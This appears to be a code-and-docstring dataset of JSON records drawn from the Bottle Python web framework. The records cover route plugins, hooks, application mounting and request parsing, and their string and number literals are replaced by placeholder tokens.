{"signature": "@cached_property<EOL><INDENT>def call(self):<DEDENT>", "body": "return self._make_callback()<EOL>", "docstring": "The route callback with all plugins applied. This property is\n            created on demand and then cached to speed up subsequent requests.", "id": "f12971:c10:m1"}
{"signature": "def reset(self):", "body": "self.__dict__.pop('<STR_LIT>', None)<EOL>", "docstring": "Forget any cached values. The next time :attr:`call` is accessed,\n            all plugins are re-applied.", "id": "f12971:c10:m2"}
{"signature": "def prepare(self):", "body": "self.call<EOL>", "docstring": "Do all on-demand work immediately (useful for debugging).", "id": "f12971:c10:m3"}
{"signature": "def all_plugins(self):", "body": "unique = set()<EOL>for p in reversed(self.app.plugins + self.plugins):<EOL><INDENT>if True in self.skiplist: break<EOL>name = getattr(p, '<STR_LIT:name>', False)<EOL>if name and (name in self.skiplist or name in unique): continue<EOL>if p in self.skiplist or type(p) in self.skiplist: continue<EOL>if name: unique.add(name)<EOL>yield p<EOL><DEDENT>", "docstring": "Yield all Plugins affecting this route.", "id": "f12971:c10:m4"}
{"signature": "def get_undecorated_callback(self):", "body": "func = self.callback<EOL>func = getattr(func, '<STR_LIT>' if py3k else '<STR_LIT>', func)<EOL>closure_attr = '<STR_LIT>' if py3k else '<STR_LIT>'<EOL>while hasattr(func, closure_attr) and getattr(func, closure_attr):<EOL><INDENT>attributes = getattr(func, closure_attr)<EOL>func = attributes[<NUM_LIT:0>].cell_contents<EOL>if not isinstance(func, FunctionType):<EOL><INDENT>func = filter(lambda x: isinstance(x, FunctionType),<EOL>map(lambda x: x.cell_contents, attributes))<EOL>func = list(func)[<NUM_LIT:0>]  <EOL><DEDENT><DEDENT>return func<EOL>", "docstring": "Return the callback. If the callback is a decorated function, try to\n            recover the original function.", "id": "f12971:c10:m6"}
{"signature": "def get_callback_args(self):", "body": "return getargspec(self.get_undecorated_callback())[<NUM_LIT:0>]<EOL>", "docstring": "Return a list of argument names the callback (most likely) accepts\n            as keyword arguments. If the callback is a decorated function, try\n            to recover the original function before inspection.", "id": "f12971:c10:m7"}
{"signature": "def get_config(self, key, default=None):", "body": "for conf in (self.config, self.app.config):<EOL><INDENT>if key in conf: return conf[key]<EOL><DEDENT>return default<EOL>", "docstring": "Lookup a config field and return its value, first checking the\n            route.config, then route.app.config.", "id": "f12971:c10:m8"}
{"signature": "def add_hook(self, name, func):", "body": "if name in self.__hook_reversed:<EOL><INDENT>self._hooks[name].insert(<NUM_LIT:0>, func)<EOL><DEDENT>else:<EOL><INDENT>self._hooks[name].append(func)<EOL><DEDENT>", "docstring": "Attach a callback to a hook. Three hooks are currently implemented:\n\n            before_request\n                Executed once before each request. The request context is\n                available, but no routing has happened yet.\n            after_request\n                Executed once after each request regardless of its outcome.\n            app_reset\n                Called whenever :meth:`Bottle.reset` is called.", "id": "f12971:c11:m2"}
{"signature": "def remove_hook(self, name, func):", "body": "if name in self._hooks and func in self._hooks[name]:<EOL><INDENT>self._hooks[name].remove(func)<EOL>return True<EOL><DEDENT>", "docstring": "Remove a callback from a hook.", "id": "f12971:c11:m3"}
{"signature": "def trigger_hook(self, __name, *args, **kwargs):", "body": "return [hook(*args, **kwargs) for hook in self._hooks[__name][:]]<EOL>", "docstring": "Trigger a hook and return a list of results.", "id": "f12971:c11:m4"}
{"signature": "def hook(self, name):", "body": "def decorator(func):<EOL><INDENT>self.add_hook(name, func)<EOL>return func<EOL><DEDENT>return decorator<EOL>", "docstring": "Return a decorator that attaches a callback to a hook. See\n            :meth:`add_hook` for details.", "id": "f12971:c11:m5"}
{"signature": "def mount(self, prefix, app, **options):", "body": "segments = [p for p in prefix.split('<STR_LIT:/>') if p]<EOL>if not segments: raise ValueError('<STR_LIT>')<EOL>path_depth = len(segments)<EOL>def mountpoint_wrapper():<EOL><INDENT>try:<EOL><INDENT>request.path_shift(path_depth)<EOL>rs = HTTPResponse([])<EOL>def start_response(status, headerlist, exc_info=None):<EOL><INDENT>if exc_info:<EOL><INDENT>_raise(*exc_info)<EOL><DEDENT>rs.status = status<EOL>for name, value in headerlist:<EOL><INDENT>rs.add_header(name, value)<EOL><DEDENT>return rs.body.append<EOL><DEDENT>body = app(request.environ, start_response)<EOL>if body and rs.body: body = itertools.chain(rs.body, body)<EOL>rs.body = body or rs.body<EOL>return rs<EOL><DEDENT>finally:<EOL><INDENT>request.path_shift(-path_depth)<EOL><DEDENT><DEDENT>options.setdefault('<STR_LIT>', True)<EOL>options.setdefault('<STR_LIT>', '<STR_LIT>')<EOL>options.setdefault('<STR_LIT>', {'<STR_LIT>': prefix, '<STR_LIT:target>': app})<EOL>options['<STR_LIT>'] = mountpoint_wrapper<EOL>self.route('<STR_LIT>' % '<STR_LIT:/>'.join(segments), **options)<EOL>if not prefix.endswith('<STR_LIT:/>'):<EOL><INDENT>self.route('<STR_LIT:/>' + '<STR_LIT:/>'.join(segments), **options)<EOL><DEDENT>", "docstring": "Mount an application (:class:`Bottle` or plain WSGI) to a specific\n            URL prefix. Example::\n\n                root_app.mount('/admin/', admin_app)\n\n            :param prefix: path prefix or `mount-point`. If it ends in a slash,\n                that slash is mandatory.\n            :param app: an instance of :class:`Bottle` or a WSGI application.\n\n            All other parameters are passed to the underlying :meth:`route` call.", "id": "f12971:c11:m6"}
{"signature": "def merge(self, routes):", "body": "if isinstance(routes, Bottle):<EOL><INDENT>routes = routes.routes<EOL><DEDENT>for route in routes:<EOL><INDENT>self.add_route(route)<EOL><DEDENT>", "docstring": "Merge the routes of another :class:`Bottle` application or a list of\n            :class:`Route` objects into this application. The routes keep their\n            'owner', meaning that the :data:`Route.app` attribute is not\n            changed.", "id": "f12971:c11:m7"}
{"signature": "def install(self, plugin):", "body": "if hasattr(plugin, '<STR_LIT>'): plugin.setup(self)<EOL>if not callable(plugin) and not hasattr(plugin, '<STR_LIT>'):<EOL><INDENT>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>self.plugins.append(plugin)<EOL>self.reset()<EOL>return plugin<EOL>", "docstring": "Add a plugin to the list of plugins and prepare it for being\n            applied to all routes of this application. A plugin may be a simple\n            decorator or an object that implements the :class:`Plugin` API.", "id": "f12971:c11:m8"}
{"signature": "def uninstall(self, plugin):", "body": "removed, remove = [], plugin<EOL>for i, plugin in list(enumerate(self.plugins))[::-<NUM_LIT:1>]:<EOL><INDENT>if remove is True or remove is plugin or remove is type(plugin)or getattr(plugin, '<STR_LIT:name>', True) == remove:<EOL><INDENT>removed.append(plugin)<EOL>del self.plugins[i]<EOL>if hasattr(plugin, '<STR_LIT>'): plugin.close()<EOL><DEDENT><DEDENT>if removed: self.reset()<EOL>return removed<EOL>", "docstring": "Uninstall plugins. Pass an instance to remove a specific plugin, a type\n            object to remove all plugins that match that type, a string to remove\n            all plugins with a matching ``name`` attribute or ``True`` to remove all\n            plugins. Return the list of removed plugins.", "id": "f12971:c11:m9"}
{"signature": "def reset(self, route=None):", "body": "if route is None: routes = self.routes<EOL>elif isinstance(route, Route): routes = [route]<EOL>else: routes = [self.routes[route]]<EOL>for route in routes:<EOL><INDENT>route.reset()<EOL><DEDENT>if DEBUG:<EOL><INDENT>for route in routes:<EOL><INDENT>route.prepare()<EOL><DEDENT><DEDENT>self.trigger_hook('<STR_LIT>')<EOL>", "docstring": "Reset all routes (force plugins to be re-applied) and clear all\n            caches. If an ID or route object is given, only that specific route\n            is affected.", "id": "f12971:c11:m10"}
{"signature": "def close(self):", "body": "for plugin in self.plugins:<EOL><INDENT>if hasattr(plugin, '<STR_LIT>'): plugin.close()<EOL><DEDENT>", "docstring": "Close the application and all installed plugins.", "id": "f12971:c11:m11"}
{"signature": "def run(self, **kwargs):", "body": "run(self, **kwargs)<EOL>", "docstring": "Calls :func:`run` with the same parameters.", "id": "f12971:c11:m12"}
{"signature": "def match(self, environ):", "body": "return self.router.match(environ)<EOL>", "docstring": "Search for a matching route and return a (:class:`Route` , urlargs)\n            tuple. The second value is a dictionary with parameters extracted\n            from the URL. Raise :exc:`HTTPError` (404/405) on a non-match.", "id": "f12971:c11:m13"}
{"signature": "def get_url(self, routename, **kargs):", "body": "scriptname = request.environ.get('<STR_LIT>', '<STR_LIT>').strip('<STR_LIT:/>') + '<STR_LIT:/>'<EOL>location = self.router.build(routename, **kargs).lstrip('<STR_LIT:/>')<EOL>return urljoin(urljoin('<STR_LIT:/>', scriptname), location)<EOL>", "docstring": "Return a string that matches a named route", "id": "f12971:c11:m14"}
{"signature": "def add_route(self, route):", "body": "self.routes.append(route)<EOL>self.router.add(route.rule, route.method, route, name=route.name)<EOL>if DEBUG: route.prepare()<EOL>", "docstring": "Add a route object, but do not change the :data:`Route.app`\n            attribute.", "id": "f12971:c11:m15"}
{"signature": "def route(self,<EOL>path=None,<EOL>method='<STR_LIT:GET>',<EOL>callback=None,<EOL>name=None,<EOL>apply=None,<EOL>skip=None, **config):", "body": "if callable(path): path, callback = None, path<EOL>plugins = makelist(apply)<EOL>skiplist = makelist(skip)<EOL>def decorator(callback):<EOL><INDENT>if isinstance(callback, basestring): callback = load(callback)<EOL>for rule in makelist(path) or yieldroutes(callback):<EOL><INDENT>for verb in makelist(method):<EOL><INDENT>verb = verb.upper()<EOL>route = Route(self, rule, verb, callback,<EOL>name=name,<EOL>plugins=plugins,<EOL>skiplist=skiplist, **config)<EOL>self.add_route(route)<EOL><DEDENT><DEDENT>return callback<EOL><DEDENT>return decorator(callback) if callback else decorator<EOL>", "docstring": "A decorator to bind a function to a request URL. Example::\n\n                @app.route('/hello/<name>')\n                def hello(name):\n                    return 'Hello %s' % name\n\n            The ``:name`` part is a wildcard. See :class:`Router` for syntax\n            details.\n\n            :param path: Request path or a list of paths to listen to. If no\n              path is specified, it is automatically generated from the\n              signature of the function.\n            :param method: HTTP method (`GET`, `POST`, `PUT`, ...) or a list of\n              methods to listen to. (default: `GET`)\n            :param callback: An optional shortcut to avoid the decorator\n              syntax. ``route(..., callback=func)`` equals ``route(...)(func)``\n            :param name: The name for this route. (default: None)\n            :param apply: A decorator or plugin or a list of plugins. These are\n              applied to the route callback in addition to installed plugins.\n            :param skip: A list of plugins, plugin classes or names. Matching\n              plugins are not installed to this route. ``True`` skips all.\n\n            Any additional keyword arguments are stored as route-specific\n            configuration and passed to plugins (see :meth:`Plugin.apply`).", "id": "f12971:c11:m16"}
{"signature": "def get(self, path=None, method='<STR_LIT:GET>', **options):", "body": "return self.route(path, method, **options)<EOL>", "docstring": "Equals :meth:`route`.", "id": "f12971:c11:m17"}
{"signature": "def post(self, path=None, method='<STR_LIT:POST>', **options):", "body": "return self.route(path, method, **options)<EOL>", "docstring": "Equals :meth:`route` with a ``POST`` method parameter.", "id": "f12971:c11:m18"}
{"signature": "def put(self, path=None, method='<STR_LIT>', **options):", "body": "return self.route(path, method, **options)<EOL>", "docstring": "Equals :meth:`route` with a ``PUT`` method parameter.", "id": "f12971:c11:m19"}
{"signature": "def delete(self, path=None, method='<STR_LIT>', **options):", "body": "return self.route(path, method, **options)<EOL>", "docstring": "Equals :meth:`route` with a ``DELETE`` method parameter.", "id": "f12971:c11:m20"}
{"signature": "def patch(self, path=None, method='<STR_LIT>', **options):", "body": "return self.route(path, method, **options)<EOL>", "docstring": "Equals :meth:`route` with a ``PATCH`` method parameter.", "id": "f12971:c11:m21"}
{"signature": "def error(self, code=<NUM_LIT>):", "body": "def wrapper(handler):<EOL><INDENT>self.error_handler[int(code)] = handler<EOL>return handler<EOL><DEDENT>return wrapper<EOL>", "docstring": "Decorator: Register an output handler for a HTTP error code", "id": "f12971:c11:m22"}
{"signature": "def _cast(self, out, peek=None):", "body": "<EOL>if not out:<EOL><INDENT>if '<STR_LIT>' not in response:<EOL><INDENT>response['<STR_LIT>'] = <NUM_LIT:0><EOL><DEDENT>return []<EOL><DEDENT>if isinstance(out, (tuple, list))and isinstance(out[<NUM_LIT:0>], (bytes, unicode)):<EOL><INDENT>out = out[<NUM_LIT:0>][<NUM_LIT:0>:<NUM_LIT:0>].join(out)  <EOL><DEDENT>if isinstance(out, unicode):<EOL><INDENT>out = out.encode(response.charset)<EOL><DEDENT>if isinstance(out, bytes):<EOL><INDENT>if '<STR_LIT>' not in response:<EOL><INDENT>response['<STR_LIT>'] = len(out)<EOL><DEDENT>return [out]<EOL><DEDENT>if isinstance(out, HTTPError):<EOL><INDENT>out.apply(response)<EOL>out = self.error_handler.get(out.status_code,<EOL>self.default_error_handler)(out)<EOL>return self._cast(out)<EOL><DEDENT>if isinstance(out, HTTPResponse):<EOL><INDENT>out.apply(response)<EOL>return self._cast(out.body)<EOL><DEDENT>if hasattr(out, '<STR_LIT>'):<EOL><INDENT>if '<STR_LIT>' in request.environ:<EOL><INDENT>return request.environ['<STR_LIT>'](out)<EOL><DEDENT>elif hasattr(out, '<STR_LIT>') or not hasattr(out, '<STR_LIT>'):<EOL><INDENT>return WSGIFileWrapper(out)<EOL><DEDENT><DEDENT>try:<EOL><INDENT>iout = iter(out)<EOL>first = next(iout)<EOL>while not first:<EOL><INDENT>first = next(iout)<EOL><DEDENT><DEDENT>except StopIteration:<EOL><INDENT>return self._cast('<STR_LIT>')<EOL><DEDENT>except HTTPResponse:<EOL><INDENT>first = _e()<EOL><DEDENT>except (KeyboardInterrupt, SystemExit, MemoryError):<EOL><INDENT>raise<EOL><DEDENT>except:<EOL><INDENT>if not self.catchall: raise<EOL>first = HTTPError(<NUM_LIT>, '<STR_LIT>', _e(), format_exc())<EOL><DEDENT>if isinstance(first, HTTPResponse):<EOL><INDENT>return self._cast(first)<EOL><DEDENT>elif isinstance(first, bytes):<EOL><INDENT>new_iter = itertools.chain([first], iout)<EOL><DEDENT>elif isinstance(first, unicode):<EOL><INDENT>encoder = lambda x: x.encode(response.charset)<EOL>new_iter = imap(encoder, itertools.chain([first], iout))<EOL><DEDENT>else:<EOL><INDENT>msg = '<STR_LIT>' % type(first)<EOL>return self._cast(HTTPError(<NUM_LIT>, msg))<EOL><DEDENT>if hasattr(out, '<STR_LIT>'):<EOL><INDENT>new_iter = _closeiter(new_iter, out.close)<EOL><DEDENT>return new_iter<EOL>", "docstring": "Try to convert the parameter into something WSGI compatible and set\n        correct HTTP headers when possible.\n        Support: False, str, unicode, dict, HTTPResponse, HTTPError, file-like,\n        iterable of strings and iterable of unicodes", "id": "f12971:c11:m25"}
{"signature": "def wsgi(self, environ, start_response):", "body": "try:<EOL><INDENT>out = self._cast(self._handle(environ))<EOL>if response._status_code in (<NUM_LIT:100>, <NUM_LIT>, <NUM_LIT>, <NUM_LIT>)or environ['<STR_LIT>'] == '<STR_LIT>':<EOL><INDENT>if hasattr(out, '<STR_LIT>'): out.close()<EOL>out = []<EOL><DEDENT>start_response(response._status_line, response.headerlist)<EOL>return out<EOL><DEDENT>except (KeyboardInterrupt, SystemExit, MemoryError):<EOL><INDENT>raise<EOL><DEDENT>except:<EOL><INDENT>if not self.catchall: raise<EOL>err = '<STR_LIT>'% html_escape(environ.get('<STR_LIT>', '<STR_LIT:/>'))<EOL>if DEBUG:<EOL><INDENT>err += '<STR_LIT>''<STR_LIT>'% (html_escape(repr(_e())), html_escape(format_exc()))<EOL><DEDENT>environ['<STR_LIT>'].write(err)<EOL>headers = [('<STR_LIT:Content-Type>', '<STR_LIT>')]<EOL>start_response('<STR_LIT>', headers, sys.exc_info())<EOL>return [tob(err)]<EOL><DEDENT>", "docstring": "The bottle WSGI-interface.", "id": "f12971:c11:m26"}
{"signature": "def __call__(self, environ, start_response):", "body": "return self.wsgi(environ, start_response)<EOL>", "docstring": "Each instance of :class:'Bottle' is a WSGI application.", "id": "f12971:c11:m27"}
{"signature": "def __enter__(self):", "body": "default_app.push(self)<EOL>return self<EOL>", "docstring": "Use this application as default for all module-level shortcuts.", "id": "f12971:c11:m28"}
{"signature": "def __init__(self, environ=None):", "body": "<EOL>self.environ = {} if environ is None else environ<EOL>self.environ['<STR_LIT>'] = self<EOL>", "docstring": "Wrap a WSGI environ dictionary.", "id": "f12971:c12:m0"}
{"signature": "@DictProperty('<STR_LIT>', '<STR_LIT>', read_only=True)<EOL><INDENT>def app(self):<DEDENT>", "body": "raise RuntimeError('<STR_LIT>')<EOL>", "docstring": "Bottle application handling this request.", "id": "f12971:c12:m1"}
{"signature": "@DictProperty('<STR_LIT>', '<STR_LIT>', read_only=True)<EOL><INDENT>def route(self):<DEDENT>", "body": "raise RuntimeError('<STR_LIT>')<EOL>", "docstring": "The bottle :class:`Route` object that matches this request.", "id": "f12971:c12:m2"}
{"signature": "@DictProperty('<STR_LIT>', '<STR_LIT>', read_only=True)<EOL><INDENT>def url_args(self):<DEDENT>", "body": "raise RuntimeError('<STR_LIT>')<EOL>", "docstring": "The arguments extracted from the URL.", "id": "f12971:c12:m3"}
{"signature": "@property<EOL><INDENT>def path(self):<DEDENT>", "body": "return '<STR_LIT:/>' + self.environ.get('<STR_LIT>', '<STR_LIT>').lstrip('<STR_LIT:/>')<EOL>", "docstring": "The value of ``PATH_INFO`` with exactly one prefixed slash (to fix\n            broken clients and avoid the \"empty path\" edge case).", "id": "f12971:c12:m4"}
{"signature": "@property<EOL><INDENT>def method(self):<DEDENT>", "body": "return self.environ.get('<STR_LIT>', '<STR_LIT:GET>').upper()<EOL>", "docstring": "The ``REQUEST_METHOD`` value as an uppercase string.", "id": "f12971:c12:m5"}
{"signature": "@DictProperty('<STR_LIT>', '<STR_LIT>', read_only=True)<EOL><INDENT>def headers(self):<DEDENT>", "body": "return WSGIHeaderDict(self.environ)<EOL>", "docstring": "A :class:`WSGIHeaderDict` that provides case-insensitive access to\n            HTTP request headers.", "id": "f12971:c12:m6"}
{"signature": "def get_header(self, name, default=None):", "body": "return self.headers.get(name, default)<EOL>", "docstring": "Return the value of a request header, or a given default value.", "id": "f12971:c12:m7"}
{"signature": "@DictProperty('<STR_LIT>', '<STR_LIT>', read_only=True)<EOL><INDENT>def cookies(self):<DEDENT>", "body": "cookies = SimpleCookie(self.environ.get('<STR_LIT>', '<STR_LIT>')).values()<EOL>return FormsDict((c.key, c.value) for c in cookies)<EOL>", "docstring": "Cookies parsed into a :class:`FormsDict`. Signed cookies are NOT\n            decoded. Use :meth:`get_cookie` if you expect signed cookies.", "id": "f12971:c12:m8"}
{"signature": "def get_cookie(self, key, default=None, secret=None):", "body": "value = self.cookies.get(key)<EOL>if secret and value:<EOL><INDENT>dec = cookie_decode(value, secret)  <EOL>return dec[<NUM_LIT:1>] if dec and dec[<NUM_LIT:0>] == key else default<EOL><DEDENT>return value or default<EOL>", "docstring": "Return the content of a cookie. To read a `Signed Cookie`, the\n            `secret` must match the one used to create the cookie (see\n            :meth:`BaseResponse.set_cookie`). If anything goes wrong (missing\n            cookie or wrong signature), return a default value.", "id": "f12971:c12:m9"}
{"signature": "@DictProperty('<STR_LIT>', '<STR_LIT>', read_only=True)<EOL><INDENT>def query(self):<DEDENT>", "body": "get = self.environ['<STR_LIT>'] = FormsDict()<EOL>pairs = _parse_qsl(self.environ.get('<STR_LIT>', '<STR_LIT>'))<EOL>for key, value in pairs:<EOL><INDENT>get[key] = value<EOL><DEDENT>return get<EOL>", "docstring": "The :attr:`query_string` parsed into a :class:`FormsDict`. These\n            values are sometimes called \"URL arguments\" or \"GET parameters\", but\n            not to be confused with \"URL wildcards\" as they are provided by the\n            :class:`Router`.", "id": "f12971:c12:m10"}
{"signature": "@DictProperty('<STR_LIT>', '<STR_LIT>', read_only=True)<EOL><INDENT>def forms(self):<DEDENT>", "body": "forms = FormsDict()<EOL>for name, item in self.POST.allitems():<EOL><INDENT>if not isinstance(item, FileUpload):<EOL><INDENT>forms[name] = item<EOL><DEDENT><DEDENT>return forms<EOL>", "docstring": "Form values parsed from an `url-encoded` or `multipart/form-data`\n            encoded POST or PUT request body. The result is returned as a\n            :class:`FormsDict`. All keys and values are strings. File uploads\n            are stored separately in :attr:`files`.", "id": "f12971:c12:m11"}
{"signature": "@DictProperty('<STR_LIT>', '<STR_LIT>', read_only=True)<EOL><INDENT>def params(self):<DEDENT>", "body": "params = FormsDict()<EOL>for key, value in self.query.allitems():<EOL><INDENT>params[key] = value<EOL><DEDENT>for key, value in self.forms.allitems():<EOL><INDENT>params[key] = value<EOL><DEDENT>return params<EOL>", "docstring": "A :class:`FormsDict` with the combined values of :attr:`query` and\n            :attr:`forms`. File uploads are stored in :attr:`files`.", "id": "f12971:c12:m12"}
{"signature": "@DictProperty('<STR_LIT>', '<STR_LIT>', read_only=True)<EOL><INDENT>def files(self):<DEDENT>", "body": "files = FormsDict()<EOL>for name, item in self.POST.allitems():<EOL><INDENT>if isinstance(item, FileUpload):<EOL><INDENT>files[name] = item<EOL><DEDENT><DEDENT>return files<EOL>", "docstring": "File uploads parsed from `multipart/form-data` encoded POST or PUT\n            request body. The values are instances of :class:`FileUpload`.", "id": "f12971:c12:m13"}
{"signature": "@DictProperty('<STR_LIT>', '<STR_LIT>', read_only=True)<EOL><INDENT>def json(self):<DEDENT>", "body": "ctype = self.environ.get('<STR_LIT>', '<STR_LIT>').lower().split('<STR_LIT:;>')[<NUM_LIT:0>]<EOL>if ctype == '<STR_LIT:application/json>':<EOL><INDENT>b = self._get_body_string()<EOL>if not b:<EOL><INDENT>return None<EOL><DEDENT>return json_loads(b)<EOL><DEDENT>return None<EOL>", "docstring": "If the ``Content-Type`` header is ``application/json``, this\n            property holds the parsed content of the request body. Only requests\n            smaller than :attr:`MEMFILE_MAX` are processed to avoid memory\n            exhaustion.", "id": "f12971:c12:m14"}
{"signature": "def _get_body_string(self):", "body": "clen = self.content_length<EOL>if clen > self.MEMFILE_MAX:<EOL><INDENT>raise HTTPError(<NUM_LIT>, '<STR_LIT>')<EOL><DEDENT>if clen < <NUM_LIT:0>: clen = self.MEMFILE_MAX + <NUM_LIT:1><EOL>data = self.body.read(clen)<EOL>if len(data) > self.MEMFILE_MAX:  <EOL><INDENT>raise HTTPError(<NUM_LIT>, '<STR_LIT>')<EOL><DEDENT>return data<EOL>", "docstring": "read body until content-length or MEMFILE_MAX into a string. Raise\n            HTTPError(413) on requests that are to large.", "id": "f12971:c12:m18"}
{"signature": "@property<EOL><INDENT>def body(self):<DEDENT>", "body": "self._body.seek(<NUM_LIT:0>)<EOL>return self._body<EOL>", "docstring": "The HTTP request body as a seek-able file-like object. Depending on\n            :attr:`MEMFILE_MAX`, this is either a temporary file or a\n            :class:`io.BytesIO` instance. Accessing this property for the first\n            time reads and replaces the ``wsgi.input`` environ variable.\n            Subsequent accesses just do a `seek(0)` on the file object.", "id": "f12971:c12:m19"}
{"signature": "@property<EOL><INDENT>def chunked(self):<DEDENT>", "body": "return '<STR_LIT>' in self.environ.get(<EOL>'<STR_LIT>', '<STR_LIT>').lower()<EOL>", "docstring": "True if Chunked transfer encoding was.", "id": "f12971:c12:m20"}
{"signature": "@DictProperty('<STR_LIT>', '<STR_LIT>', read_only=True)<EOL><INDENT>def POST(self):<DEDENT>", "body": "post = FormsDict()<EOL>if not self.content_type.startswith('<STR_LIT>'):<EOL><INDENT>pairs = _parse_qsl(tonat(self._get_body_string(), '<STR_LIT>'))<EOL>for key, value in pairs:<EOL><INDENT>post[key] = value<EOL><DEDENT>return post<EOL><DEDENT>safe_env = {'<STR_LIT>': '<STR_LIT>'}  <EOL>for key in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>if key in self.environ: safe_env[key] = self.environ[key]<EOL><DEDENT>args = dict(fp=self.body, environ=safe_env, keep_blank_values=True)<EOL>if py31:<EOL><INDENT>args['<STR_LIT>'] = NCTextIOWrapper(args['<STR_LIT>'],<EOL>encoding='<STR_LIT:utf8>',<EOL>newline='<STR_LIT:\\n>')<EOL><DEDENT>elif py3k:<EOL><INDENT>args['<STR_LIT>'] = '<STR_LIT:utf8>'<EOL><DEDENT>data = cgi.FieldStorage(**args)<EOL>self['<STR_LIT>'] = data  <EOL>data = data.list or []<EOL>for item in data:<EOL><INDENT>if item.filename:<EOL><INDENT>post[item.name] = FileUpload(item.file, item.name,<EOL>item.filename, item.headers)<EOL><DEDENT>else:<EOL><INDENT>post[item.name] = item.value<EOL><DEDENT><DEDENT>return post<EOL>", "docstring": "The values of :attr:`forms` and :attr:`files` combined into a single\n            :class:`FormsDict`. Values are either strings (form values) or\n            instances of :class:`cgi.FieldStorage` (file uploads).", "id": "f12971:c12:m21"}
{"signature": "@property<EOL><INDENT>def url(self):<DEDENT>", "body": "return self.urlparts.geturl()<EOL>", "docstring": "The full request URI including hostname and scheme. If your app\n            lives behind a reverse proxy or load balancer and you get confusing\n            results, make sure that the ``X-Forwarded-Host`` header is set\n            correctly.", "id": "f12971:c12:m22"}
{"signature": "@DictProperty('<STR_LIT>', '<STR_LIT>', read_only=True)<EOL><INDENT>def urlparts(self):<DEDENT>", "body": "env = self.environ<EOL>http = env.get('<STR_LIT>')or env.get('<STR_LIT>', '<STR_LIT:http>')<EOL>host = env.get('<STR_LIT>') or env.get('<STR_LIT>')<EOL>if not host:<EOL><INDENT>host = env.get('<STR_LIT>', '<STR_LIT:127.0.0.1>')<EOL>port = env.get('<STR_LIT>')<EOL>if port and port != ('<STR_LIT>' if http == '<STR_LIT:http>' else '<STR_LIT>'):<EOL><INDENT>host += '<STR_LIT::>' + port<EOL><DEDENT><DEDENT>path = urlquote(self.fullpath)<EOL>return UrlSplitResult(http, host, path, env.get('<STR_LIT>'), '<STR_LIT>')<EOL>", "docstring": "The :attr:`url` string as an :class:`urlparse.SplitResult` tuple.\n            The tuple contains (scheme, host, path, query_string and fragment),\n            but the fragment is always empty because it is not visible to the\n            server.", "id": "f12971:c12:m23"}
{"signature": "@property<EOL><INDENT>def fullpath(self):<DEDENT>", "body": "return urljoin(self.script_name, self.path.lstrip('<STR_LIT:/>'))<EOL>", "docstring": "Request path including :attr:`script_name` (if present).", "id": "f12971:c12:m24"}
{"signature": "@property<EOL><INDENT>def query_string(self):<DEDENT>", "body": "return self.environ.get('<STR_LIT>', '<STR_LIT>')<EOL>", "docstring": "The raw :attr:`query` part of the URL (everything in between ``?``\n            and ``#``) as a string.", "id": "f12971:c12:m25"}
{"signature": "@property<EOL><INDENT>def script_name(self):<DEDENT>", "body": "script_name = self.environ.get('<STR_LIT>', '<STR_LIT>').strip('<STR_LIT:/>')<EOL>return '<STR_LIT:/>' + script_name + '<STR_LIT:/>' if script_name else '<STR_LIT:/>'<EOL>", "docstring": "The initial portion of the URL's `path` that was removed by a higher\n            level (server or routing middleware) before the application was\n            called. This script path is returned with leading and tailing\n            slashes.", "id": "f12971:c12:m26"}
{"signature": "def path_shift(self, shift=<NUM_LIT:1>):", "body": "script, path = path_shift(self.environ.get('<STR_LIT>', '<STR_LIT:/>'), self.path, shift)<EOL>self['<STR_LIT>'], self['<STR_LIT>'] = script, path<EOL>", "docstring": "Shift path segments from :attr:`path` to :attr:`script_name` and\n            vice versa.\n\n           :param shift: The number of path segments to shift. May be negative\n                         to change the shift direction. (default: 1)", "id": "f12971:c12:m27"}
{"signature": "@property<EOL><INDENT>def content_length(self):<DEDENT>", "body": "return int(self.environ.get('<STR_LIT>') or -<NUM_LIT:1>)<EOL>", "docstring": "The request body length as an integer. The client is responsible to\n            set this header. Otherwise, the real length of the body is unknown\n            and -1 is returned. In this case, :attr:`body` will be empty.", "id": "f12971:c12:m28"}
{"signature": "@property<EOL><INDENT>def content_type(self):<DEDENT>", "body": "return self.environ.get('<STR_LIT>', '<STR_LIT>').lower()<EOL>", "docstring": "The Content-Type header as a lowercase-string (default: empty).", "id": "f12971:c12:m29"}
{"signature": "@property<EOL><INDENT>def is_xhr(self):<DEDENT>", "body": "requested_with = self.environ.get('<STR_LIT>', '<STR_LIT>')<EOL>return requested_with.lower() == '<STR_LIT>'<EOL>", "docstring": "True if the request was triggered by a XMLHttpRequest. This only\n            works with JavaScript libraries that support the `X-Requested-With`\n            header (most of the popular libraries do).", "id": "f12971:c12:m30"}
{"signature": "@property<EOL><INDENT>def is_ajax(self):<DEDENT>", "body": "return self.is_xhr<EOL>", "docstring": "Alias for :attr:`is_xhr`. \"Ajax\" is not the right term.", "id": "f12971:c12:m31"}
{"signature": "@property<EOL><INDENT>def auth(self):<DEDENT>", "body": "basic = parse_auth(self.environ.get('<STR_LIT>', '<STR_LIT>'))<EOL>if basic: return basic<EOL>ruser = self.environ.get('<STR_LIT>')<EOL>if ruser: return (ruser, None)<EOL>return None<EOL>", "docstring": "HTTP authentication data as a (user, password) tuple. This\n            implementation currently supports basic (not digest) authentication\n            only. If the authentication happened at a higher level (e.g. in the\n            front web-server or a middleware), the password field is None, but\n            the user field is looked up from the ``REMOTE_USER`` environ\n            variable. On any errors, None is returned.", "id": "f12971:c12:m32"}
{"signature": "@property<EOL><INDENT>def remote_route(self):<DEDENT>", "body": "proxy = self.environ.get('<STR_LIT>')<EOL>if proxy: return [ip.strip() for ip in proxy.split('<STR_LIT:U+002C>')]<EOL>remote = self.environ.get('<STR_LIT>')<EOL>return [remote] if remote else []<EOL>", "docstring": "A list of all IPs that were involved in this request, starting with\n            the client IP and followed by zero or more proxies. This does only\n            work if all proxies support the ```X-Forwarded-For`` header. Note\n            that this information can be forged by malicious clients.", "id": "f12971:c12:m33"}
{"signature": "@property<EOL><INDENT>def remote_addr(self):<DEDENT>", "body": "route = self.remote_route<EOL>return route[<NUM_LIT:0>] if route else None<EOL>", "docstring": "The client IP as a string. Note that this information can be forged\n            by malicious clients.", "id": "f12971:c12:m34"}
{"signature": "def copy(self):", "body": "return Request(self.environ.copy())<EOL>", "docstring": "Return a new :class:`Request` with a shallow :attr:`environ` copy.", "id": "f12971:c12:m35"}
